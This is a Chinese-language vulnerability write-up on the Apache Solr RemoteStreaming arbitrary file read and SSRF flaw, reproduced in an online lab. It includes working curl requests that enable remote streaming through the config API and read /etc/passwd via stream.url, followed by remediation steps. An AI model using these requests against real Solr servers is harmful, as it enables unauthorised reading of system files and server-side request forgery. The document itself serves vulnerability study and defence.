Apache Solr RemoteStreaming 文件读取与SSRF漏洞

0x00简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果.

0x01漏洞概述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取.

0x02影响范围

Apache Solr <= 8.8.1均受影响

0x03环境搭建

这里我们利用东塔攻防世界的靶场来复现这个漏洞。

地址:https://labs.do-ta.com/

image1.png

0x04漏洞复现

1,首先我们启动靶场

image

2,访问靶场的首页

image

3,访问地址:http://ip:port/solr/admin/cores?indexInfo=false&wt=json

image

4,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:

curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://120.25.24.45:30277/solr/demo/config'
image

5,再通过stream.url读取任意文件:

curl -i -s -k 'http://120.25.24.45:30277/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
image6.png
image

0x05修复建议

1.首先关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true

2,然后关闭远程读取文件流,默认情况下远程读取文件流是不开启的:

在server/solr目录下寻找与core相同名字的目录,比如名字为core1

如果你发现core1/conf/configoverlay.json文件中存在开启远程读取文件流的配置,那么你很有可能被攻击成功了

修复方法是:把core1/conf/configoverlay.json中的远程读取文件流的配置修改为false(如果只有这一条配置,也可以将整个文件删除)

{"props":{"requestDispatcher":{"requestParsers":{"enableRemoteStreaming":false}}}}

你可能感兴趣的:(Apache Solr RemoteStreaming 文件读取与SSRF漏洞)